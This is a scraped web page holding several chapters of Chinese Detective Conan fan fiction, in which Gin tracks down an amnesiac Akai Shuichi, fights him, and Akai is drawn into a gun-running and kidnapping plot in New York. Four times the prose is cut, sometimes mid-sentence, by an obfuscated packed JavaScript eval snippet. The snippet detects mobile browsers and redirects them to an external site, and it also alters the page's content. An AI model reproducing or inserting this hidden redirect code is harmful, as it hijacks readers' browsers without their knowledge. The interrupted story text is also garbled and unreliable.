他苦着脸刚想哭丧，就被琴酒一拳轰中面部——他不知道为什么他大哥刚醒就有那么大力气，理论上麻醉时间都没过完，但他也不敢问。 琴酒面色不善：“清醒了吗？” 伏特加：“……” 他不胡思乱想了还不行吗…… 总之经过了一段时间的试探，琴酒甚至动用了没人知道的人脉调查FBI和MI6，连逃到欧洲去的贝尔摩德都联系上了，他终于确定了这样一个事实： 没人记得赤井秀一，除了他。 那家伙留下的痕迹还在，组织被推翻他分明就是罪魁祸首之一。但他想不通为什么没一个人深究一下推翻组织的计划里为什么缺了一块，没人深究一下FBI行动小组是不是少了个成员。 那个高中生侦探不是总是说“真相只有一个”吗？他亲眼看着那小子摆了一个酷炫的姿势说着这句话就带着波本把boss给逮捕了。 赤井秀一不见了你就没察觉到不对吗？能不能给我查查真相？ 你身为侦探的敏锐呢？一天天“赤井桑”“赤井桑”的，到最后你们的羁绊就这？ 废物！ 琴酒：“……” 按道理说他应该高兴，看着宿敌就此消逝没人记得可真是太让人喜悦了。 但他高兴不起来，他自己也解释不清为什么。 好烦。 这种情感真是让人厌烦。 他叼着烟，氤氲的雾气随着风飘远，默念着那六个音节。 赤井秀一。 一个人在什么样的情况下才会在这个世界上彻底消失，就连人们的记忆里也找不到他的身影？ 他要做什么才能找回那个和他对着干了几年的家伙？ 只有自己留存着记忆实在太憋屈了。这就像你看动漫的时候有个很讨厌的角色，但你找不到任何吐槽的人，因为没人看过这部动漫。 啧。 所以他就跑纽约来了。根据他的调查，赤井秀一以前那个组织应对小组的组长，姓布莱克的那个， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506794|186099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是FBI纽约分局的一个小领导。 如果哪怕是这群平时和赤井秀一合作最紧密的人，也丝毫没有疑惑过为什么凭借他们歪瓜裂枣的能力还能让他和贝尔摩德狼狈成这样，那他真要觉得荒诞了。 哦，说起来他记得赤井秀一还挺认可他们组那个女探员的能力的。但管他屁事，反正在他眼里除了赤井秀一其他红方的人都是废物，包括那个贝尔摩德放在心尖尖上的高中生侦探。 ……事实证明没有。 没有人质疑，没有人提出疑问。 所有人都默认了布莱克小组只有三位主要成员，除了詹姆斯.布莱克之外，就是卡迈尔和朱蒂。 琴酒：“……” 忍不了了，他想冲到FBI拿着□□对着那个布莱克的脑袋让他们好好挖掘挖掘自己的记忆。 但他的大头照现在还在FBI通缉名单的第一页，而他暂时还不想蹲大牢，所以这份冲动最后还是被理智压下去了。 但不闯进FBI不代表他不会想办法和布莱克小组里的人尝试见一面。 这就是为什么现在他在这里。 琴酒本来的打算是从眼前这位赤井秀一的前女友下手，看看能不能让她想起来。 想不起来也没关系，把她套了麻袋扔他新的据点里，他多琢磨一段时间总能想到办法。怕她跑的话就先把人废了，反正赤井秀一不在，没人救得了她。 至于那个女探员的身心健康？在乎这个有点过于可笑了。 但是现在…… 看着穿梭过自家新小弟的肩膀的子弹，他回望过去，寻找到了那个角度唯一可能的狙击点。 是他给麾下行动组代号成员设的武器库兼安全屋，组织都不一定清楚具体地址。能进入的只有基安蒂、科恩、琴酒、伏特加，以及莱伊。 以前还有个苏格兰，卧底暴露之后就取消了他的权限。 别问琴酒为什么没有取消莱伊的权限，那家伙要是人在FBI还来他的武器库取武器，他真的会笑话美国条子一辈子。 不过，现在的情况…… 介于现在没人承认某人是FBI，他可以勉强原谅他不打招呼擅自使用武器库。 一千二百码。 琴酒笑了。 除了那家伙，还有谁有这个狙击实力？ 赤井秀一，我就知道这样能把你引出来。 他冷笑一声，没管那边迅速警戒的朱蒂和独自哀嚎的小弟，转身就朝赤井秀一所在的地方走去。 道路是熟悉的。他在纽约这地方不止一次和美国条子开展猫捉老鼠的游戏，从未失败。 一千米，以他的速度和体力，两三分钟的事情，气都不带喘的。 电子锁显示着人脸识别通过，他冷笑着走进安全屋，看到穿着廉价灰头土脸的基安蒂和科恩是根本没有停顿，就只是把目光投向视觉中心那双绿色的熟悉眼眸。 然后如同吟唱歌剧咏叹调那般说：“好久不见。” “我亲爱的、宿敌恋人啊。” 听这种话恶不恶心？ 呵，恶心到你我就爽了。 之前听赤井秀一说见到他第一眼内心在想“宿敌恋人”这个词的时候，他可是差点连隔夜饭都吐出来。 这时候忽略无关群众的报应就来了。 科恩目瞪口呆，差点没绷住平静的表情。 基安蒂发出尖锐爆鸣：“啊？？？” 5. 东拼西凑小乐队（五） 托马斯现在心情挺微妙的。 眼前那个无论怎么看都很熟悉的银发男人说着只有最亲密的情人间才会说的话，碧绿色的眼眸中却偏偏带着恶意。 感觉他说这话就是单纯为了恶心人的。 可惜的是托马斯没觉得自己有被恶心到。 原因很简单。虽然这么说很绝情，但是—— 哥们，你谁啊？虽然我的直觉告诉我你是我的攻略对象2……但我一点都不记得你了啊！ 失忆人员托马斯只觉得荒谬。 换做任何人，走在路上忽然被不相干的陌生人表白，都会觉得荒谬吧？ 但是介于对方一看就是想恶心他，所以他张口就来试图恶心回去：“我亲爱的，我可是每日每夜都在想念和你对决……” 话音未落，一只拳头直冲着他的面部而来。托马斯回身避开，遵循肌肉记忆顺手摆出了截拳道的起手式，露出了一个锋锐的笑容。 嘴上还在口嗨：“啊，现在就打算给我机会实现夙愿吗，真是不胜荣幸。” 琴酒：“……” 他没有说话，只是加重了手上的力道。 银色长发划破空气，拳风劈开一切直冲托马斯而去。 后者抬手格挡，然后生生被震退两步，觉得小臂闷疼。于是他干脆回身闪躲，也伸出去试探性地一击。 前任组织杀手无比熟悉他的风格，知道这只是虚晃一着，就微微侧身避开。 说时迟那时快，两人的眼神同时变得凌厉起来。本是用作试探的招式带上了不容置疑的力道，琴酒回身踹上托马斯时自己也实打实地挨上一拳。 厚重的黑色大衣撞击时发出闷响，他冷笑着逼近，招式加快，偏偏眼前的人未落下风。 琴酒想笑。 赤井秀一啊，你天生就该当我的对手。 我们的命运紧紧缠绕至不死不休。否则，要怎么解释全世界都忘记你时，我依然将你的面容印刻在内心？ 你别想以任何荒谬的理由从这世上消失。 托马斯被狠狠掼到墙上，闷哼一声。他忽略了疼痛，迅速拽着琴酒的领子，把他往侧边一压。 砰。 腰腹猛地发力，两个人的位置倒转，两双绿色的眼眸相撞。 一米九的男性被甩到墙壁上时声音结结实实的，看得基安蒂有点心疼墙壁。 再然后经验丰富的组织杀手向侧面弯腰避开一拳，用手虚握对方的手臂向前一拉一推；托马斯顺势扭过身子一脚扫过去。 他也没对于这一脚抱什么希望，琴酒看着就是那种下盘很稳的存在。他只是在抬脚的同时挥出一拳，摇闪、劈砍，琴酒已经背靠墙壁，躲无可躲。 但是显然用血和杀戮堆成的组织杀手并不能用常理考量。他不闪不避地挨了托马斯一拳，然后瞅准破绽迅速攻击。 托马斯能感受到自己的肾上腺素飙升，灵魂深处的震颤让他无法不露出笑容。 记忆里分明是第一次见面，肢体却契合得像是针锋相对数年的对手、同床共枕多月的情人。 和胜负欲一同被激发的是一种征服欲，比最亲昵的关系还要私密的欲求，在征服与被征服、拥有与被拥有之间的对抗。 笑意从胸腔震荡出来。 真是、令人享受啊。 两人同时这样想着。 对于这边已经打出快意，打得不知天地为何物的二人，科恩给基安蒂使了个眼色：溜吗？ 基安蒂内心蠢蠢欲动着，叫嚣着想要留下来吃瓜。 但她不蠢还怕死，所以她毫不犹豫一点头：溜！ 两个怂得不行的前组织成员一合计，他们两个待在这里也不是个事儿。神仙打架关他们普通人什么事？别被波及到就是万幸。 提起这个基安蒂还是想骂人。 此时距离托马斯说自己只是一个普通流浪汉不超过二十分钟，她见证了此人打开组织武器库的大门、随手打出一千二百码狙击距离、并和组织人人闻风丧胆的大杀神琴酒打得势均力敌有来有回。 哦，还有一点。 琴酒管他叫恋人欸。 那可是面对贝尔摩德的诱惑都能面不改色说出“我要吐了”这种绝情言论的性冷淡啊！ 他亲口认证的正派恋人啊，真的假的？她没在做梦吧！ 要不是组织内部论坛已经随着组织的覆灭彻底关闭，她高低得去里面发个疯。 基安蒂觉得自己灵魂都快升华了。 男人的嘴，骗人的鬼。 托马斯要真是普通流浪汉她就跑日本公安基地去把被囚禁的朗姆的头发给剃了。 两个无关成员很有眼色地跑了，于是这片空间彻底只剩下了托马斯和琴酒两个人，和拳头与皮肉相撞的闷响。 两个人打得畅快，不久就浑身是汗。 说实话想到不久之后要用艾迪家里的浴室洗澡，托马斯感觉还挺愧疚的。 第一天浑身是垃圾、第二天满身是汗。水电费好像不便宜的样子。 得找点方法快速搞钱啊。之前艾迪提到的那个乐队，看来得好好表现一下了。他总觉得自己手风琴应该拉得还行。 不过说到快速搞钱的方法，他似乎知道不少？ 回忆着脑子里蹦出来的各种很“刑”的野路子，赤井秀一陷入沉思。 □□的疼痛比不过精神的愉悦。 拳拳到肉，最直接的冲撞有一种暴力的美感。 托马斯想笑，也就笑出声来。声音低低从喉咙底部挤压出来，显得嘶哑短促。 他觉得自己内心这种笑意莫名其妙的，但倒是没多不合时宜，因为琴酒也在笑。 男人笑的时候挺吓人的，那张脸不管做什么事都好像带着恶意。绿色的眸子亮得诡异，肌肉紧绷，精神振奋。 “赤井秀一。”他说出声来，目光专注，一字一顿。托马斯在那双眼中看见了自己的倒影。 原来这就是我的名字。内心的直觉让赤井秀一对此很笃定。 赤井、秀一。内心某一块仿若趋向完整，无根亦无来处的浮萍有了重量。他心想我果然不是一道不存于此世的幻影，我有过往也有实体，不至于飘忽着消散得无知无觉。 说到底失忆人士尽管能依靠肌肉记忆，战术意识还是相对薄弱，更遑论战斗经验了。 赤井秀一渐落下风，对琴酒发了狠的攻击应接不暇。 杀手先生动作快速又有力，当胸一拳倘若打实了他毫不怀疑自己得断几根肋骨。俗话说得好，最好的防守就是攻击。琴酒的风格就是让攻击填满招式的每一个空隙，于是哪怕找到破绽也腾不出手反击。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506795|186099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他输就输在每一招都得等身体自然而然的反应，肢体记忆好是好，就是说不清每一次攻击的目的，也就无从规划进攻策略。带脑子打架和不带脑子差别还是挺大的。 赤井秀一觉得自己跟玩挂机游戏似的，意识飘远了，旁观着身体自动挂着机，对琴酒的攻击作出相应反应。 说实话挺养眼，有几个人不喜欢看两个帅哥充满暴力美学地打架？银白的长发和乌黑的长发交织，让整个场面分外有种王不见王针尖对麦芒的氛围。 如果最后打输的不是自己就更好了。 一时不察被压制，又被琴酒揪着领子提起来的时候，赤井秀一还挺坦然，弯着那双绿眸冲杀手笑。 琴酒定定地看着他，目光如有实质，就好像能把他的灵魂都看透。他将另一只手抵住赤井秀一的脖子，感受着温热的血液在皮肤下方奔涌，脉搏规律地跳动着。他只要收紧手掌，就能看到对方因为窒息而面部充血的痛苦模样。 自己会得到怎样激烈的反抗呢？ 比一切情感更持久的是杀意和毁灭欲，体内每个细胞都叫嚣着让他实践那种冲动—— 杀了他、让他无法呼吸、剥夺他的性命。 “啧”。 琴酒面无表情地放开手。 他上下端详老对手身上那件二十美分的廉价破T恤，打了那么一场架衣服直接崩线了。他没在乎过穿着，但从小到大最狼狈的时候也没穿过这个质量的衣服，实在没忍住嗤道：“混得真烂啊，FBI。” 赤井秀一没忍住为自己辩解：“这是科恩的衣服。” ……怎么显得更穷酸了。说出口赤井秀一才后知后觉地发现这点。 琴酒的表情变得不爽了几分，绿眸扫过来，显得阴沉沉的。对此赤井秀一觉得莫名其妙。 不是，干什么呀？又不是你穿，还替我嫌弃上了？ 前杀手冷不丁开口：“你现在在干什么工作？” 赤井秀一再次：“？” 这是做什么，你要来支持我们酒吧驻唱乐队吗？ 他不是很理解琴酒在抽哪门子风。想到系统给出的那个100％仇恨值和自己身上各处隐隐作痛的淤青块，他只觉得自己不能太快排除“琴酒是想线下找机会套自己麻袋”的可能性。 琴酒看他样子也觉得这家伙大概率不会回答自己，偏头“啧”了一声，心想算了，反正他有新的情报渠道，不会查不到这点信息。看赤井秀一的穿着水平，这家伙也没在从事什么保密程度高的工作，否则没道理买一件一撕就碎的衣服。现在连成人用品道具制服都不会那么劣质。 眼前男人身姿挺拔，长发披肩，单薄的衣服遮不住流畅结实的肌肉。琴酒后退两步欣赏了一下，狼般的眼眸仿佛锁定猎物一般看着对方。 “我们会再见面的，赤井秀一。” 然后他就走了。 银发的杀手终于想起来自己还有个小弟在跳蚤市场直面FBI的疾风骤雨。他对下属还是很不错的，至少不会把人当消耗品，除非被背叛。这也是伏特加对他如此忠心的原因。 徒留赤井秀一在原地联系上下文做阅读理解。 不会吧，琴酒的意思不会是他要去他们乐队表演现场找他吧？ 他怎么样不好说，他觉得基安蒂和科恩会先得心脏病。 6. 韦斯特堡高中案（一） 回艾迪的住处之前，赤井秀一决定先找路子搞钱。 他能猜到基安蒂和科恩大概是被整个里世界排斥了，而表世界的统计也追得他们疲于奔命，这才穷成这样。 但里世界没人认识他啊。 纽约这地方，旁人看着是金光闪闪的，高楼大厦跟插天的玉米杆子似的，一排排戳在云彩里。 但影子里不知道藏了多少腌臜东西。 布朗维尔区拐过去是布朗克斯区。 如果说前者是纽约最穷的地方，后者就是犯罪率最高的地方。 二战过后白人从这篇地方搬走，挤进来的是拉丁裔和非裔。 工厂烟囱里吐出来带着铁腥味的灰，让太阳光都透不进地，只能勉强从那些高楼的缝儿里挤进来几绺，照在满是油污的柏油路上。 在这片地方，那些网络调侃的“走在路上被抢劫”的段子是真的会成真。 赤井秀一走得很快，黑色的长发在身后扬起来，带上些灰尘。他未经思考地顺着肌肉记忆，将控制权交给潜意识。 腌臜地方最容易生出法律之外的触手。 如果说布朗维尔区的穷人，是怀抱着“挣到一天的食粮是一天”的心态，那布朗克斯区人，整天想的就是“我不好过其他人也别想好过”，转头把抢来的钱扔酒吧里只为和漂亮妞儿共舞一曲。 欲望在膨胀，浸润在酒精和大麻交织的迷幻气息中，重金属摇滚乐震得人头脑发晕。人们在不成章法的歌舞中嘶哑着喉咙大笑大叫。人们无法无天，胡作非为；抛弃未来，享乐当下。 赤井秀一踏上这块土地的时候，一缩肩膀一岔腿，两只手往裤子口袋一放，整个人瞬间变了气质，原本的冷静成熟尽数化为了吊儿郎当。 劣质衣物本身就颇契合这儿的氛围，他一变气质，完美融入了这块鱼龙混杂以犯罪著称的贫民区。 记忆把他带到了一个破房子门口。 站在门外都能听到机器运作的轰鸣声，呛人的蒸汽从里边飘出来。赤井秀一定睛一看，门边上歪歪斜斜地放了个牌子，写着：老布朗洗衣房。 眼前这副劣质到诡异的场景和布朗克斯总体气氛融洽到了一种难分你我的地步，以至于他震了一下，有点想质疑自己的记忆到底有没有在正确引路。 但他搜寻了一下记忆里残余的些许常识，觉得自己可以确信这世上没有洗衣机会发出如此巨大的声音，也没有干洗剂会冒出如此之多的白雾……他在拿什么洗衣服？干冰还是氯化氢？ 所以赤井秀一非常坦然地推开门走了进去。 “干洗八元机洗五元，自己放钱放衣服，室内装了监控，少偷奸耍滑！” 一开门一个嗓子眼儿像是被砂纸磨过的老汉声儿劈头盖脸就砸了过来。赤井秀一无比平静地伸出手指在门框处叩了叩。 “我来卖点东西。” 那老汉这才从里屋磨蹭出来，步子拖拉着，一条腿看着不太利索，一颠一颠的。一双浑浊的老眼珠子死死地盯着他，使劲儿眯，看得赤井秀一替他觉得累。 耳聪目明的狙击手裸眼视力5.3，生活中完全没碰上过要眯眼才能看清东西的时候，但他不知道为什么很能感同身受那种从早眯眼到晚的疲惫感，一天下来眼皮酸疼。 老布朗在审视他，这多少让赤井秀一相信自己找对地方了。所以他不动声色地拍拍衣物，迅速入戏，把自己装成一个走投无路的布朗维尔愣头青：“老板，打听到您可废了我好大一番功夫！您瞧，这世道艰难的，我也快要吃不起饭了，还有一个乐团的伙伴要养呢。” “怪不得是生面孔。”老布朗怪异地笑了，“主动找上我的家伙有很多，但我这边可不是抢抢留学生的钱、绑绑漂亮小妞拖进巷子爽一把的小打小闹。” 虽然早就知道布朗克斯的作风但是……留学生也没钱！赤井秀一猜他刚开始大概也是其他国家来美国留学的，否则不会忽然如此想说出这句话辩白一下。 “但现在会靠近布鲁克林区的留学生也穷。漂亮小妞也学乖了，上回听说有个‘唰’一下掏出一把M1911。”老布朗“啧”了一声，非常善解人意地替他说出来了，“来吧，下定决心就和我来。” 老布朗看起来不怀好意。布朗克斯每个月都有失踪人口，谁也说不准是不是就这么悄没声地死在这种活计里——当然，静悄悄饿死的也有。反正这种事，没几个人真当回事。好在赤井秀一不怎么怕。 他觉得自己还不至于栽在最初级的那种里世界任务里。总觉得以前肯定接触过危险的多的情况。 “迪恩房产，听过吗？”老布朗问了一句，也没打算听赤井秀一回答，自顾自介绍下去，“委托人是迪恩房产的大老板迪恩先生，地点在皇后区。把这批军火运过去给他。我借你车，别笨手笨脚引来条子，没人会去警察局捞你。” 意外的简单且正常。赤井秀一暗地里皱皱眉。如果要求真的是这样，那唯一的危险就是被条子发现之后被捕。但以刚刚老布朗声音里的不怀好意程度，绝对不可能那么简单。 但他还是应下了，用符合人设的语气多问了一句：“就这点要求？我还以为挣大钱会更难一点！” 回答他的是老布朗的嘿嘿一笑：“别给条子抓住，小子！” 于是赤井秀一直接开着车出发了。皇后区的道路四通八达，放眼望去宝马都只能算平均水平。赤井秀一攥了攥手，有点想念自己以前的车……什么牌子的？好像不太记得了。 没拐几个弯就到了目的地，赤井秀一看着迪恩先生的别墅，忽而理解了为什么老布朗笑得如此不怀好意。 ——别墅门口站了一群美国警察不说，甚至能看见FBI的蓝色制服。 他今天撞见FBI的概率是不是有点高了？ 赤井秀一看了一眼后备箱层层叠叠盖得高过后排座椅的管制热武器，揉了揉眉心。 这下他算是明白了，这个任务明里是去运送热武器，暗里分明是叫他去吸引FBI的注意力！ 他刚刚抽空上网查了一下，迪恩房产在整个美国都算得上赫赫有名。这种身价的人大概率是和FBI有什么交易的——赤井秀一总觉得自己很明白FBI的运作方式——就算犯了大事，大概率也是能化小就化小。 这是打算把他推出去当替罪羊呢。 赤井秀一：“……” 他只是想快速挣点钱又没学历没工作经验没实习经历而已！ 他去找老布朗的原因之一甚至是因为他的潜意识告诉他老布朗给的任务不会太突破他的底线。虽然自认自己道德感不怎么高，但他也不是很想接杀手任务杀无辜的人。 现在惹上这种烂摊子只能自认倒霉。 撂挑子不干倒是可行， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506796|186099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只是这样一来他大概率彻底和里世界无缘了。 也许是因为之前和他打了一架的那个浑身散发危险气息的银发杀手吧，赤井秀一觉得还是发展一条里世界的暗线能让他安心一点。 思考半秒，赤井秀一迅速决定先下车去打探打探情况。 他不太想和FBI正面对上，干脆绕了一圈，趁一个干活挺懈怠的普通小警察不注意，从别墅后院翻了进去。 然后和后院一对小情侣对上了眼神。 小情侣看起来像是高中生的年纪，男女双方都是帅哥美女，格外养眼。看到他进来时男高中生率先露出了警惕的神情，把女友挡在自己身体后面。 赤井秀一：“……” 今天真是倒了大霉了。 半秒后他在话术和武力间纠结一下打算先试试前者。 他迅速走近打算搭句话，根据他的经验这个年纪的小孩最容易把人往酷炫的地方想——不一定把人往好了看，但一定足够酷炫。 真要打个比方就是蝙蝠侠和小丑二选一，没有中间选项。 想被高中生真心实意地信任只有一种方式，就是逼格够高，显得足够靠谱又和对方平起平坐——当然平起平坐是取得了信任之后的后话了。 而且他总觉得高中生这种生物不可小觑。他们看着一副还未完全发育的样子，其实脑子或者身手一个比一个厉害，也不知道是吃了什么长大的。 赤井秀一心想我哪来那么多和高中生的相处小妙招，总不能我失忆以前真有个高中生忘年交吧。 但他还没开始说话就看到男高掏出一把BND□□，双臂一伸，嘴唇一咧，瞄准了他就开始射击。 那一瞬间赤井秀一全身都绷紧了，肌肉反应带着他避开了连发的子弹。 ……这就是自由美利坚吗！就算不禁枪也不至于连未成年都能拿热武器吧！ 等等，他来是为了干什么来着？ 赤井秀一冷静地想，为了给这男高中生他爹送违法管制武器。 那没事了。他爹有那么多热武器呢，不给儿子玩玩留着给条子吗？ 趁着男高更换弹匣的间隙他三两步绑了女高，浑身气势放开，绿眸锁定对方的时候像条恶狼。他用自己的枪顶着女高的太阳穴，声音低沉：“我对你们没有恶意，只是需要见到迪恩先生。” 哪成想女朋友一被绑这男高彻底发了疯。子弹擦着两人身体飞过的时候赤井秀一只想骂娘，女高已经失声尖叫起来。 赤井秀一没打算真的开枪打这女孩。他只能骂一句，把女高推到一边，自己再找机会和男高近战肉搏。 “嘿杰森，”一个声音从后院门口传过来。一个西装革履的老头拎着一个昏迷的男人施施然站在那里。赤井秀一一眼就认出来这就是那位经常出现在新闻里的房产大亨迪恩先生，“别把人玩死了，他们还有用呢。” 迪恩先生上下甩了甩自己手里的人——那人甚至还穿着FBI的深蓝色制服。被抓着制服吊在那里晃的FBI被晃醒了，迷迷糊糊挣扎起来，又被迪恩先生一手刀敲晕。 晕过去前FBI恰巧抬头看了一眼前方，然后眼睛一亮，用最后的力气发出求救：“赤井先生！！！” 语气像孩子见了妈妈。赤井秀一听着有点起鸡皮疙瘩。 赤井秀一：“……” 这又是谁啊？ 7. 韦斯特堡高中案（二） 地下室里很昏暗，没有窗户，门被死死地关上了。好在大概是经常有钟点工打扫的原因，倒是没什么霉味。 赤井秀一正清醒地被绳子捆着被拖行。 被捆住的感觉说不上好。粗糙的绳结摩擦着皮肤，激起一阵刺痒，人体的本能反应是调整一个更舒服的姿势避开。 然而赤井秀一刚被杰森.迪恩的麻醉弹打中，现在理论上应该晕着，所以在迪恩父子离开前他不能轻举妄动，被察觉出他是主动被捆的可不是什么好事。 身体被拖着的感觉说实话也很诡异。杰森.迪恩在同龄男孩中已经算得上高，但是和一米八八的成年男人比起来还是矮了些，背着拎着都很困难，因此只能拖着走。 不像他爹，单手拎着那个又高又壮的FBI，换手时还会颠几下，看着像是乐在其中的样子。 【宿主？宿主？还醒着吗！】 刚刚赤井秀一被麻醉弹射中之前拜托了系统让他保持清醒。 时隔大半天终于又有了存在感的系统现在正处于一种“宿主好不容易拜托我做事，我一定要让他知道我不可或缺”的亢奋状态。 尽管其实没必要，但它还是兢兢业业，每分钟询问一次，确认宿主状态。 发觉宿主有可能是主线角色的别扭感已经过去，系统的心态挺好。 反正绑定了也修改不了，再说瞧瞧这开局喜爱值多高啊，一看就能很快完成攻略任务！ 仇恨值？那个不重要啦！ 可惜它没有权限去看原世界剧情，否则它还能判断一下宿主到底是何方神圣，早点帮宿主找回记忆呢！ 在系统第四次出声问他是否还清醒之后，赤井秀一终于有点忍无可忍。有东西在脑子里直接说话的感觉真的称不上好，他估计一时半会是适应不了了。 好在系统说保他不睡着，那是真的能让他清醒。就算面对迪恩父子的强效麻醉剂，依然能保有清明。 时间倒退到半小时以前。 在发现那个FBI大概认识自己之后，赤井秀一非常迅速地作出了一个决定：主动露出破绽，让自己被抓住。他猜这父子俩会把他和这个FBI关在一起。 挣钱当然重要，但他的首要目标是追寻自己过去的每一丝痕迹。 他露个破绽虚晃一枪，装出被一拳打中腹部吃痛一时间动不了了的样子，下一秒直接倒下，整个动作显得非常摆烂。 杰森.迪恩也许以为自己打倒他了，又或许仅仅对于扣动扳机此时感到期待。他眼瞳一缩，脸上挂着兴奋的微笑。 他心脏狂跳，以至于没有注意到一旁女友紧皱的眉头，就只是接过他爹手里填着麻醉弹的手枪，三下五除二，无比熟练地把人绑了起来。 ……这个熟练程度不容小觑啊，这小子到底干过这种事多少次？ 被打倒迷晕之后他就被迪恩父子扔到了一个黑漆漆的地方，大概是地下室，身边还躺那个着确确实实晕过去了的FBI。 仔细端详一下才发现这人确实眼熟，离肩膀差一点的长头发、方脸、地包天，赤井秀一感觉有一个名字呼之欲出，但就是想不起来。 想不起来就别想了。赤井秀一当机立断。 方才他那宛如唤妈妈一般唤的“赤井先生”实在是给他留下了点阴影。简单点描述就是他全身鸡皮疙瘩都起来了，脚趾感觉能扣出三室一厅。 黑暗氤氲，万物沉寂，他不确定迪恩先生想做什么，大概率是打算把他放一会儿，晚点就交给FBI。 不是，那他绑那个穿着FBI制服的男人干嘛？ 赤井秀一心头立刻浮现出一个猜测。 是这个FBI撞破了什么秘密，又不愿意和其他FBI一样缄口不言？ 说到底这还只是猜测，首要任务是想办法出去。 赤井秀一动手把自己的大拇指弄脱臼，用力挣脱绳结，动作比他预估的还要熟练，也许是失忆前有专门训练过。 双手终于自由了，他再安上拇指关节，停了几秒缓解下疼痛，又灵活地解开身体其他部分的绳子。 他站起身来甩甩因为血液不流通而发麻的双腿，走过去伸出手推那个FBI，片刻发现没用之后就跟着肌肉记忆掐对方穴位。 不一会儿那个FBI就醒了。 醒来之后他的眼神还有点懵，赤井秀一坐在他面前看他的样子好像让他吓了一跳。看他的神情，如果没有被绳子捆住的话，他大概率会往后连退几步。 “你是谁？”FBI说，眼神挺尖锐。如果不是他的全身都被绑着，应该会更有威慑力一点。 赤井秀一：“……？” 哥们，你刚刚还在叫我的名字。 但看他的眼神确实不像是认识自己的样子。 犹豫了一下，他边解男人身上捆着的绳子边用假名回答：“托马斯.布朗森——和你一样，被迪恩先生抓住的倒霉蛋。” 赤井秀一示意了一下那边已经解下的绳子和自己手腕上的勒痕。浅色的皮肤上的淤血显得格外触目惊心。 FBI的眼神里少了几分警惕。双手获得自由后他也开始拆自己身上的捆缚的绳结。 “安德雷.卡迈尔。”彻底自由后他也自我介绍，随手从上衣内袋里拿出了FBI证件给赤井秀一看。 难以言喻的熟悉感从赤井秀一心底升起，他不动声色地压了下去，然后有点意外地问：“他没有收掉你的证件？” 卡迈尔茫然片刻，确认了一下自己证件的真实性，然后老老实实摇头：“没有。” 很难说他为什么下意识就老实回答了赤井秀一的问题。他只知道当他听见不知为何分外熟悉的低沉嗓音时，他根本不会做出别的选择。 ……某些被压到大脑最深处的潜意识正在叫嚣着让他少违抗对方发出的指令，总觉得自己已经吃过一次亏了。 赤井秀一皱起眉。 他当然不觉得这会是迪恩父子的疏漏。对于某些违法乱纪的事情，他们看起来做的挺顺手，没道理跟个愣头青一样这儿漏一点那儿漏一点。 留下证件肯定有点别的用意，否则之后不好处理尸体。万一哪个侦探或是警察突发奇想来这查查，他们做的事情不全暴露了？ 难道说…… 他其实并不是来当替罪羊的，而是来身临其境演绎受害者——真的会死的那种——的？ 迪恩父子想陷害谁？ 赤井秀一深呼吸一口气，看向地下室紧锁的门，侧头问卡迈尔：“你能弄开吗？” 卡迈尔在意识反应过来之前，身体先一步重重跳起，砸向了门，锁扣被这一脚踹开了。 理智回归之后，那种下意识听从对方命令的反应让他简直摸不着头脑。 赤井秀一面无表情地心想，哇，不愧是FBI的传统艺能。 ……开门小能手，之类的。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506797|186099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们没有武器，因此他暂时不想引起迪恩父子注意。 如果他的推测没错的话，现在或是不久之后，迪恩先生肯定会去见他想要陷害的那个对象。那时候将是他们最佳逃生的时间。 而现在，他应该先上去摸清地形。 身体快于大脑，他非常自然地向卡迈尔吩咐：“跟着我。” 一般而言，想要取信于人需得先解释一下自己命令的原因，除非他是个上级或是什么领导，又或是早已在对方面前展现过足够的实力让对方信服。 赤井秀一两者似乎都没沾，但偏偏他命令得自然，卡迈尔也很自然就想要听从。 但探员硬生生在抬步离开之前停下了动作，引得赤井秀一皱眉看过来，那双绿眸再次让卡迈尔觉得熟悉。 接连几次下意识听从赤井秀一的指令难免让他警惕起来了。说实话这确实很奇怪，身为FBI的他居然无意识地选择跟从一个他从未见过的普通人。 感情上他很想无条件相信这位“托马斯.布朗森”，理智却在叫嚣着让他好好看看，整件事情疑点太多了。 